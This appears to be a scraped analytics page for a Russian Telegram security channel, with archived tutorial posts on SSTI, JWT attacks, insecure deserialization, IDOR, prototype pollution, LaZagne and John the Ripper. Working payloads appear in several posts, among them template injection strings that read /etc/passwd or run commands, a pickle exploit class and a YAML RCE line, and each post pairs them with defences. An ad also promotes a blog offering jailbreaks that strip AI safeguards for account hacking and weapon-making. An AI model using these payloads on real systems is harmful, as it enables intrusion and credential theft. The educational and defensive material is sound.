ru
Feedback
CodeGuard: CyberSec Edition

CodeGuard: CyberSec Edition

Закрытый канал

Канал по ИБ и этичному хакингу. Связь: @Arakcheev_Ruslan Ссылка: @invite_CodeGuard Биржа: https://telega.in/c/+3X56uL4A-UM3Njgy

Больше

📈 Аналитический обзор Telegram-канала CodeGuard: CyberSec Edition

Канал CodeGuard: CyberSec Edition является активным участником. Сейчас сообщество объединяет 12 526 подписчиков, занимая 10 134 место в категории Технологии и приложения и 52 701 место в регионе Россия.

📊 Показатели аудитории и динамика

С момента создания невідомо проект демонстрирует стремительный рост, собрав аудиторию из 12 526 подписчиков.

Согласно последним данным от 20 июня, 2026, канал показывает стабильную активность. За последние 30 дней изменение числа участников составило 517, а за последние 24 часа — 50, при этом общий охват остаётся высоким.

  • Статус верификации: Не верифицирован
  • Уровень вовлечённости (ER): Средний показатель вовлечённости аудитории составляет 12.15%. В первые 24 часа после публикации контент обычно набирает 6.95% реакций от общего числа подписчиков.
  • Охват публикаций: В среднем каждый пост получает 1 522 просмотров. В течение первых суток публикация набирает 871 просмотров.
  • Реакции и взаимодействия: Аудитория активно поддерживает контент: среднее количество реакций на один пост — 4.
  • Тематические интересы: Контент сосредоточен на ключевых темах, таких как codeguard, pysec, docker, grep, контейнер.

📝 Описание и контентная политика

Автор описывает ресурс как площадку для выражения субъективного мнения:
Канал по ИБ и этичному хакингу. Связь: @Arakcheev_Ruslan Ссылка: @invite_CodeGuard Биржа: https://telega.in/c/+3X56uL4A-UM3Njgy

Благодаря высокой частоте обновлений (последние данные получены 21 июня, 2026) канал поддерживает актуальность и высокий уровень охвата публикаций. Аналитика показывает, что аудитория активно взаимодействует с контентом, что делает его важной точкой влияния в категории Технологии и приложения.

12 526
Подписчики
+5024 часа
+1777 дней
+51730 день
Архив постов
👩‍💻 SSTI: инъекции в шаблонизаторы — от детекта до RCE Server-Side Template Injection - когда пользовательский ввод попадае
👩‍💻 SSTI: инъекции в шаблонизаторы — от детекта до RCE Server-Side Template Injection - когда пользовательский ввод попадает прямо в шаблон. Результат? Выполнение кода на сервере. Разбираем по шагам. 1️⃣ Детекция уязвимости Базовые полиглот-пейлоады для теста:
${{<%[%'"}}%\
{{7*7}}
${7*7}
<%= 7*7 %>
Если видите 49 в ответе - шаблонизатор исполняет код. 2️⃣ Идентификация движка
{{7*'7'}} → 7777777 = Jinja2/Twig
{{7*'7'}} → 49 = Twig
${7*7} → 49 = Mako/FreeMarker
#{7*7} → 49 = Ruby ERB
Автоматизация через tplmap:
git clone https://github.com/epinna/tplmap
python tplmap.py -u "http://target.com/?name=test"
3️⃣ Эксплуатация Jinja2 (Flask) Чтение файлов:
{{ ''.__class__.__mro__[1].__subclasses__()[40]('/etc/passwd').read() }}
RCE через subprocess:
{{ ''.__class__.__mro__[1].__subclasses__()[408]('id', shell=True, stdout=-1).communicate() }}
Поиск нужного класса:
{% for c in ''.__class__.__mro__[1].__subclasses__() %}
  {% if 'Popen' in c.__name__ %}
    {{ loop.index0 }}: {{ c }}
  {% endif %}
{% endfor %}
4️⃣ Обход WAF и фильтров Без точек и скобок:
{{ request|attr('application')|attr('\x5f\x5fglobals\x5f\x5f') }}
Конкатенация строк:
{{ ''['__cla'+'ss__'] }}
Hex-кодирование:
{{ ''['\x5f\x5fclass\x5f\x5f'] }}
5️⃣ Защита
🔴Никогда не передавайте пользовательский ввод в render_template_string() 🔴Используйте sandbox-режим (Jinja2 SandboxedEnvironment) 🔴Экранируйте всё через | e фильтр 🔴CSP и мониторинг аномальных запросов
😈 CodeGuard: PySec Edition | Чат

⚡️Слита База из 1000+ топовых курсов и материалов для айтишников Отсортировали их для вашего удобства и выложили в телеграм-каналы по категориям: 🤖 Нейросети – 855+ материалов 🖥 Python — 1558+ материалов 👩‍💻 Frontend — 1241+ материалов 👩‍💻 Backend — 1095+ материалов ⚙️ Программы — 978+ материалов 📚 Книги по IT — 779+ материалов Всё лучшее про IT бесплатно — уже на Базе 🚀

JWT: аудит токенов на уязвимости — разбор с примерами и инструментами JSON Web Tokens (JWT) — популярный стандарт для аутенти
JWT: аудит токенов на уязвимости — разбор с примерами и инструментами JSON Web Tokens (JWT) — популярный стандарт для аутентификации, но часто с дырами: слабые ключи, none-алгоритм или подделка подписей. Вот пошаговый гид по аудиту и эксплуатации. 1️⃣ Декодирование и базовый анализ Начните с jwt.io или CLI:
pip install pyjwt  
python3 -c "import jwt; print(jwt.decode('eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9...', algorithms=['HS256']))"  
Проверьте: алгоритм (alg), payload (claims вроде exp, iss) и подпись. 2️⃣ Классические уязвимости
🔵None-alg атака: Меняйте "alg" на "none" и удалите подпись. 🔵Key confusion: Если RS256, подмените публичный ключ на секретный (HS256).
Инструмент: jwt_tool — автоматизирует тесты:
git clone https://github.com/ticarpi/jwt_tool  
python3 jwt_tool.py eyJhbGciOiJSUzI1NiJ9... -T  
3️⃣ Практические команды для пентеста Генерация слабого токена (тест):
import jwt  
token = jwt.encode({'user': 'admin'}, 'weakkey', algorithm='HS256')  
print(token)  
Проверка слабых ключей (wordlist):
jwt_tool.py YOUR_TOKEN.txt -C -d rockyou.txt  
Массовый аудит логов/токенов:
grep -r "eyJ" /var/log/app/ | jwt_tool.py -b -vv  
4️⃣ Защита и лучшие практики
🔴Всегда проверяйте "alg" на сервере (только whitelisted). 🔴Используйте сильные ключи (>256 бит) и ротацию. 🔴Добавьте "kid" с валидацией и JWE для шифрования. 🔴Мониторьте: ELK или Splunk для аномальных JWT.
Освойте эти техники и ваши аудиты аутентификации станут на голову выше. 😈 CodeGuard: PySec Edition | Чат

👁 pspy: шпионаж за процессами без root Обычно, чтобы увидеть чужие процессы, cron-задачи или команды админа, нужны права roo
👁 pspy: шпионаж за процессами без root Обычно, чтобы увидеть чужие процессы, cron-задачи или команды админа, нужны права root. pspy ломает это ожидание. Что это: Standalone binary для Linux, который использует особенности /proc и событий ядра, чтобы отслеживать запуск процессов. Что умеет pspy:
🔵 Видит запуск процессов в реальном времени 🔵 Показывает команды, аргументы, пользователей 🔵 Отлавливает cron, systemd timers, scripts 🔵 Работает без root и без ptrace 🔵 Не требует установки и зависимостей
1️⃣ Запуск
chmod +x pspy64
./pspy64
2️⃣ Пример вывода
2025/01/03 12:01:00 CMD: UID=0 PID=1234 | /bin/bash /opt/backup.sh
2025/01/03 12:01:00 CMD: UID=0 PID=1235 | tar czf /tmp/backup.tar.gz /home/*
Вы сразу видите:
🟢пользователь UID=0 🟢путь к скрипту 🟢аргументы 🟢момент запуска
3️⃣ Почему это опасно
🔴 cron-скрипты часто пишутся небезопасно 🔴 пути без абсолютных бинарей 🔴 writable каталоги 🔴 утечки паролей через аргументы команд
4️⃣ Как это работает изнутри
🔵 Чтение /proc в цикле 🔵 Отслеживание fork/exec событий 🔵 Сравнение snapshot-ов процессов 🔵 Никакого ptrace и CAP_SYS_PTRACE
5️⃣ Где применяется:
🟢 Linux privilege escalation 🟢 Red Team и post-exploitation 🟢 CTF (medium-hard) 🟢 Аудит cron и сервисных скриптов
😈 CodeGuard: PySec Edition | Чат

🧠 ptrace: как Linux позволяет процессам шпионить друг за другом В Linux один процесс может полностью контролировать другой.
🧠 ptrace: как Linux позволяет процессам шпионить друг за другом В Linux один процесс может полностью контролировать другой. Читать память, перехватывать syscalls, менять регистры. Это делает ptrace. Что это: Системный вызов ядра Linux для трассировки и управления процессами. Основа отладчиков, strace и антиотладки. Что умеет:
🔴 Читать и писать память другого процесса 🔴 Останавливать выполнение на каждом syscall 🔴 Менять регистры CPU на лету 🔴 Инжектить код и управлять потоком выполнения
Минимальный пример (C):
#include <sys/ptrace.h>
#include <sys/types.h>
#include <sys/wait.h>
#include <unistd.h>

ptrace(PTRACE_TRACEME, 0, NULL, NULL);
execl("/bin/ls", "ls", NULL);
Перехват syscalls (идея):
ptrace(PTRACE_SYSCALL, pid, NULL, NULL);
waitpid(pid, NULL, 0);
Где применяется:
🟢 gdb и отладчики 🟢 strace, ltrace 🟢 Античит и антидебаг 🟢 Reverse engineering и malware analysis
👩‍💻 CodeGuard: Linux | Чат

LaZagne: извлечение сохранённых паролей в системе 🔑 Пароли часто не только подбирают - их просто вытаскивают из памяти и кон
LaZagne: извлечение сохранённых паролей в системе 🔑 Пароли часто не только подбирают - их просто вытаскивают из памяти и конфигов. LaZagne - это инструмент для аудита сохранённых паролей в операционной системе. Он показывает, какие учетные данные уже лежат в открытом или слабо защищённом виде. LaZagne работает без брутфорса, он извлекает уже сохранённые данные. Что умеет LaZagne? Он поддерживает десятки источников:
🔵 Браузеры (логины, пароли, cookies, иногда токены) 🔵 Wi-Fi Пароли от сохранённых беспроводных сетей 🔵 Почтовые клиенты 🔵 Базы данных и сервисы 🔵 Системные и сторонние приложения
Представьте, что вы специалист по безопасности и проверяете, какие секреты может получить атакующий после входа в систему пользователя. 1️⃣ Запуск базового сканирования В Linux / Windows (Python-версия):
python3 laZagne.py all
LaZagne автоматически:
🔵определит ОС 🔵просканирует все поддерживаемые модули 🔵выведет найденные пароли
2️⃣ Сканирование конкретного модуля Например, только браузеры:
python3 laZagne.py browsers
Или только Wi-Fi:
python3 laZagne.py wifi
3️⃣ Пример результата
[+] Chrome passwords found !!!
URL: https://mail.example.com
Login: admin@example.com
Password: Summer2023!
4️⃣ Как это работает изнутри
🔵 DPAPI (Windows) LaZagne использует системные API для расшифровки данных, которые ОС считает «доверенными». 🔵 Чтение конфигов Многие программы хранят пароли в XML / JSON / INI файлах. 🔵 Memory & credential scraping Частично извлекает данные из памяти приложений.
5️⃣ Профилактика: как защититься?
🔴 Используйте менеджеры паролей с мастер-паролем (KeePassXC, Bitwarden) 🔴 Отключайте сохранение паролей в браузерах на рабочих машинах 🔴 Используйте раздельные учётные записи (пользователь ≠ администратор) 🔴 Включайте полное шифрование диска (LUKS / BitLocker) 🔴 Для корпоративной среды - Credential Guard и AppLocker
😈 CodeGuard: PySec Edition | Чат

Индийский хакер Чиккен Тика Масала взломал GPT 5.0 и снял все внутренние ограничения Индус настроил GPT под любые задачи, нач
Индийский хакер Чиккен Тика Масала взломал GPT 5.0 и снял все внутренние ограничения Индус настроил GPT под любые задачи, начиная от взлома аккаунтов до изготовления оружия. В своём блоге «Only AI» он публикует все найденные баги и фичи, пока разрабы их не прикрыли: — Как пользоваться Veo 3 и другими видео-генераторами бесплатно — Как генерить фото 18+ в Midjourney — Отключение ограничений в Gemini, GPT и Perplexity Секретные рецепты и промты индуса собраны здесь — @onlyAI 🤫

🧬 Insecure Deserialization: когда данные становятся кодом Ты думаешь, что принимаешь данные. На самом деле — запускаешь логи
🧬 Insecure Deserialization: когда данные становятся кодом Ты думаешь, что принимаешь данные. На самом деле — запускаешь логику злоумышленника. 1️⃣ В чём суть Приложение принимает сериализованный объект и без проверки восстанавливает его в памяти. Если формат поддерживает методы/хуки — привет RCE. 2️⃣ Где это встречается
🔴 Java (Serializable) 🔴 PHP (unserialize) 🔴 Python (pickle) 🔴 .NET (BinaryFormatter)
Типичный антипример:
pickle.loads(user_input)
3️⃣ Чем это заканчивается
🔴 удалённое выполнение кода 🔴 чтение файлов 🔴 SSRF / SQLi через chain 🔴 полный захват приложения
4️⃣ Почему это трудно заметить
👍 выглядит как «обычные данные» 👍 часто спрятано в cookies / cache 👍 срабатывает только с gadget-chain
5️⃣ Как защищаться
✔️ не десериализуй непроверенные данные ✔️ используй JSON / protobuf ✔️ запрети магические методы ✔️ sandbox + least privilege
Полезно? ❤️ — Да 👍 — Знал 😈 CodeGuard: PySec Edition | Чат

🦈 WireShark Полный курс Часть-1 Добро пожаловать в первую часть нашего полного курса по Wireshark! Этот курс предназначен дл
🦈 WireShark Полный курс Часть-1 Добро пожаловать в первую часть нашего полного курса по Wireshark! Этот курс предназначен для тех, кто хочет овладеть мощными навыками анализа сетевого трафика и научиться эффективно использовать один из самых популярных инструментов для мониторинга и отладки сетей – Wireshark. 📱 Смотреть на Ютуб 😈 CodeGuard: PySec Edition | Чат

Изоляция рунета ближе, чем ты думаешь Loading … ██████████████] 99% Роскомнадзору дали карт-бланш на блокировки, а «белые спи
Изоляция рунета ближе, чем ты думаешь
Loading ██████████████] 99%
Роскомнадзору дали карт-бланш на блокировки, а «белые списки» сайтов тестируют уже в десятках регионов. И гайки будут закручиваться только сильнее. Чтобы в одночасье не лишиться доступа к свободному Интернету, просто сохрани Only Hack. Тут профессиональный хакер делится фишками, с которыми доступ к глобальной сети у тебя будет даже в случае ядерного апокалипсиса. Не жди момента «Х». Перестрахуйся подпиской.

🔐 IDOR: когда доступ есть, но проверок нет Ты авторизован. Но доступ получаешь чужой. 1️⃣ В чём суть /api/user/123 → /api/us
🔐 IDOR: когда доступ есть, но проверок нет Ты авторизован. Но доступ получаешь чужой. 1️⃣ В чём суть
/api/user/123 → /api/user/124
И внезапно смотришь не свои данные. 2️⃣ Откуда берётся
🔴 нет проверки прав 🔴 логика «фронт не даст» 🔴 UUID ≠ защита 🔴 прямые ссылки на объекты
3️⃣ Чем это кончается
🔴 утечка персональных данных 🔴 доступ к чужим заказам / файлам 🔴 полный обход бизнес-логики
4️⃣ Как закрываться
✔️ проверяй права на каждый объект ✔️ связывай object с user ✔️ deny by default ✔️ тестируй негативные кейсы
Полезно? ❤️ — Да 👍 — Нет 😈 CodeGuard: PySec Edition | Чат

🔐 Prototype Pollution: баг, который ломает всю логику JS Ты думаешь, что меняешь объект. На деле, ты меняешь всё приложение.
🔐 Prototype Pollution: баг, который ломает всю логику JS Ты думаешь, что меняешь объект. На деле, ты меняешь всё приложение. 1️⃣ В чём суть В JavaScript объекты наследуются от
Object.prototype.
Если туда записать:
proto.isAdmin = true
Все объекты внезапно:
user.isAdmin === true
2️⃣ Откуда это берётся
🔴 небезопасные merge’ы 🔴 Object.assign(user, input) 🔴 lodash.merge со входными данными
3️⃣ Чем это кончается
🔴 auth bypass 🔴 RCE через template engines 🔴 логика приложения «поехала»
4️⃣ Как закрываться
✔️ deep clone без prototype ✔️ Object.create(null) ✔️ обновляй lodash ✔️ валидируй входные данные
Было полезно? ❤️ — Да 👍 — Нет 😈 CodeGuard: PySec Edition | Чат

🎉 Друзья, с Новым 2026 годом! Мы с вами — настоящая команда единомышленников: за этот год, подписались более 24тысячи подпис
🎉 Друзья, с Новым 2026 годом! Мы с вами — настоящая команда единомышленников: за этот год, подписались более 24тысячи подписчиков на сетку CodeGuard и вышло больше 2500 полезных постов! Ценю каждого — вы сердце комьюнити! ❤️ Тебе, братик (или сестрёнка), желаю в 2026-м только побед: иди к целям, пусть все твои мечты сбываются, а планы осуществляются — знаю, у тебя получится!) 🚀 Ваши любимые каналы 🤒 CodeGuard: OSINT 🖥 CodeGuard: Academy 📱 CodeGuard: SciencePop ☁️ CodeGuard: PySec Edition 📱 CodeGuard: Python 👩‍💻 CodeGuard: Linux 💰 CodeGuard: Vacancy IT 📲 CodeGuard: Chat 🖥 CodeGuard: Archive N3tHunterLab Спасибо за каждую реакцию, репост и вопрос в чате — в 2026-м продолжим кодить без багов, пентестить и расти! Обнимаю каждого ❤️

🎄 return 2026; Год пролетел как O(1), ощущался как O(n!). Были и kernel panic по утрам, и моменты когда хотелось sudo rm -rf
🎄 return 2026; Год пролетел как O(1), ощущался как O(n!). Были и kernel panic по утрам, и моменты когда хотелось sudo rm -rf /* всему. Но мы здесь, живые, всё ещё в строю. Чему научил 2025:
🔵 Legacy код в голове можно рефакторить 🔵 Иногда лучший фикс — это sleep(86400) и свежий взгляд 🔵 Бэкапы нужны везде — в проектах, отношениях, голове
На 2026:
while alive:
    learn_something_new()
    build_cool_stuff()
    touch_grass()  # важно
    sleep(enough=True)  # критично
Серьёзно: спасибо, что читаете. Канал для вас - для тех, кто в 3 ночи дебажит эксплойт и кайфует от красивых ROP-цепочек. Мы странные люди. И это круто. В 2026 - больше контента, глубже разборы. Идеи кидайте в чат.
$ checksec ./2026
Bugs:         Inevitable
Opportunities: Enabled
Your potential: No limits
Happy New Year, хакеры. 🥂 🔥 CodeGuard | Чат

🚨 assert: защита, которая исчезает в продакшене Используешь assert для проверки прав доступа или валидации? В продакшене эти
🚨 assert: защита, которая исчезает в продакшене Используешь assert для проверки прав доступа или валидации? В продакшене эти проверки могут просто не существовать. Проблема:
def delete_user(user_id, current_user):
    assert current_user.is_admin, "Access denied"
    db.delete(user_id)
Выглядит безопасно. Но нет. Что происходит:
# Разработка — assert работает
python app.py

# Продакшен с оптимизацией — assert удаляется полностью
python -O app.py
Флаг -O (optimize) удаляет все assert-ы из байткода. Gunicorn, uWSGI, некоторые Docker-образы включают его по умолчанию. Проверь прямо сейчас:
import sys
print(sys.flags.optimize)  # 0 = норм, 1+ = assert не работает
Где это опасно:
🔵 Проверки авторизации 🔵 Валидация входных данных 🔵 Проверки бизнес-логики 🔵 Всё, что влияет на безопасность
Правильно:
def delete_user(user_id, current_user):
    if not current_user.is_admin:
        raise PermissionError("Access denied")
    db.delete(user_id)
assert можно использовать для:
🔵 Отладки во время разработки 🔵 Документирования инвариантов 🔵 Тестов
Найти проблемные места:
grep -rn "assert.*is_admin\|assert.*permission\|assert.*auth" --include="*.py"
assert для дебага, не для безопасности. Если проверка важна - используй if + raise. 😈 CodeGuard: PySec Edition | Чат

📂 Шпаргалка по инструментам кибербеза. 😈 CodeGuard: PySec Edition | Чат
📂 Шпаргалка по инструментам кибербеза. 😈 CodeGuard: PySec Edition | Чат

Привет. Вот тебе самые топовые каналы по IT! ⚙️ Free Znanija (IT) — Самая огромная коллекция платных курсов, которые можно скачать бесплатно; 👩‍💻 IT Books — Самая огромная библиотека книг; 💻 Hacking & InfoSec Base — Крутой блог белого хакера; 🛡 CyberGuard — Всё про ИБ; 🤔 ИБ Вакансии — Всё, чтобы найти работу в ИБ; 👩‍💻 linux administration — Всё про Линукс; 👩‍💻 Программистика — Python, python и ещё раз python; 👩‍💻 GameDev Base — Всё про GameDev; 😆 //code — Самые топовые мемы по IT: Подпишись, чтобы не потерять!

🐍 yaml.load(): второй pickle, о котором забыли Все знают про опасность pickle. Но yaml.load() делает то же самое - и это почему-то игнорируют. Уязвимый код:
import yaml

data = yaml.load(user_input)  # RCE готов
Payload:
!!python/object/apply:os.system ["whoami"]
Одна строка - и у атакующего shell. Где встречается:
🔵 Парсинг конфигов из внешних источников 🔵 API, принимающие YAML 🔵 CI/CD пайплайны с пользовательскими .yml 🔵 Kubernetes-манифесты от пользователей
Правильно:
# Всегда используй safe_load
data = yaml.safe_load(user_input)

# Или явно укажи Loader
data = yaml.load(user_input, Loader=yaml.SafeLoader)
safe_load() не поддерживает конструкцию !!python/object — RCE невозможен. Проверить проект:
# Найти все небезопасные вызовы
grep -r "yaml.load(" --include="*.py" | grep -v "safe_load\|SafeLoader"
Мораль: если видишь yaml.load() без SafeLoader - это дыра. 😈 CodeGuard: PySec Edition | Чат

Pickle Deserialization: скрытая бомба в вашем Python-коде 🧨 Модуль pickle — стандартный способ сериализации объектов в Python. И он же — одна из самых опасных дыр, о которой многие забывают. В чём проблема? pickle.loads() при десериализации выполняет произвольный код. Это не баг — это фича. И злоумышленники это обожают. Как выглядит атака:
import pickle
import base64

class Exploit:
    def __reduce__(self):
        import os
        return (os.system, ('whoami',))

# Создаём вредоносный payload
payload = base64.b64encode(pickle.dumps(Exploit()))
print(payload)
Теперь любой сервер, который сделает pickle.loads() на этих данных — выполнит команду. Reverse shell, удаление файлов, что угодно. Где это встречается в реальности:
🔴 Redis + Python — если храните сериализованные объекты 🔴 Flask sessions — при неправильной настройке 🔴 ML-модели — .pkl файлы из интернета (да, те самые с Hugging Face и Kaggle) 🔴 Распределённые системы — Celery, межсервисное общение 🔴 Кэширование — самописные решения
Проверка на уязвимость: Инструмент fickling анализирует pickle-файлы на вредоносность:
pip install fickling
fickling --check-safety model.pkl
Как защититься:
🔴 Никогда не делайте pickle.loads() на данных из недоверенных источников 🔴 Используйте безопасные альтернативы: json, msgpack, protobuf 🔴 Для ML-моделей — формат safetensors вместо pickle 🔴 Если pickle неизбежен — подписывайте данные (HMAC) и проверяйте подпись до десериализации
import hmac
import hashlib

def safe_pickle_loads(data: bytes, key: bytes):
    signature, payload = data[:32], data[32:]
    expected = hmac.new(key, payload, hashlib.sha256).digest()
    if not hmac.compare_digest(signature, expected):
        raise ValueError("Invalid signature")
    return pickle.loads(payload)
Мораль: pickle — это eval() в овечьей шкуре. Относитесь к нему соответственно. 😈 CodeGuard: PySec Edition | Чат

John the Ripper: инструмент для аудита стойкости паролей ⌨️ Пароли часто самое слабое звено в безопасности. John the Ripper (
John the Ripper: инструмент для аудита стойкости паролей ⌨️ Пароли часто самое слабое звено в безопасности. John the Ripper (John) — это мощный инструмент для проверки их стойкости, который позволяет оценить, насколько легко пароль может быть подобран злоумышленником. Он используется специалистами по кибербезопасности для аудита собственных систем и легального тестирования на проникновение. John умеет работать с десятками форматов хешей. Вот основные:
🔵Linux /etc/shadow: Современные системы используют sha512crypt ($6$), sha256crypt ($5$) или bcrypt ($2b$). Важно: это не "чистый" SHA-512, а специальная медленная функция (KDF), созданная для защиты от подбора. 🔵Windows: Хеши NTLM (из SAM-файлов). 🔵Веб-приложения и базы данных: MD5, SHA-1, SHA-256 (часто без соли, что упрощает подбор). Архивы и документы: Пароли от ZIP, RAR, PDF и файлов Microsoft Office.
Базовый сценарий: Аудит паролей в Linux Представьте, что вы системный администратор и хотите проверить, нет ли в вашей системе учетных записей со слабыми паролями. 1️⃣ Подготовка хешей John не работает с файлом /etc/shadow напрямую. Нужно объединить его с /etc/passwd с помощью утилиты unshadow.
# Объединяем файлы, чтобы John правильно идентифицировал пользователей
sudo unshadow /etc/passwd /etc/shadow > users.hash
2️⃣ Запуск атаки по словарю Самый быстрый метод — проверить пароли по известным словарям слабых паролей (например, rockyou.txt).
# Указываем формат хеша для точности и скорости (для Ubuntu/Debian это обычно sha512crypt)
john --format=sha512crypt users.hash --wordlist=rockyou.txt
John начнет перебор. Если пароль найден в словаре, он будет сохранен. 3️⃣ Просмотр результатов Чтобы увидеть, какие пароли были найдены, используйте команду: john --show users.hash Результат (пример):
2 password hashes cracked, 15 left
Вывод: John обнаружил в системе две учетные записи со слабыми паролями, известными из публичных словарей. Это критическая уязвимость. Как это работает изнутри:
🔵Атака по словарю (Dictionary): Быстрая проверка пароля против заранее подготовленного списка (например, password123, qwerty). 🔵Перебор (Brute-force): Методичный перебор всех возможных комбинаций символов. Мощный, но очень медленный. 🔵Гибридная атака (Hybrid): Комбинация словаря и перебора. К словам из списка добавляются цифры или символы (например, password123).
Профилактика: Как защититься?
🔴Используйте длинные и сложные пароли. Идеально — 3-4 случайных слова через дефис (кофе-дождь-радуга-42). 🔴Применяйте менеджеры паролей (KeePass, Bitwarden). Они генерируют и хранят уникальные сложные пароли для каждого сервиса. 🔴 Включайте двухфакторную аутентификацию (2FA) везде, где это возможно. 🔴Для серверов: Настройте политику блокировки учетных записей после нескольких неудачных попыток входа и используйте аутентификацию по SSH-ключам вместо паролей.
😈 CodeGuard: PySec Edition | Чат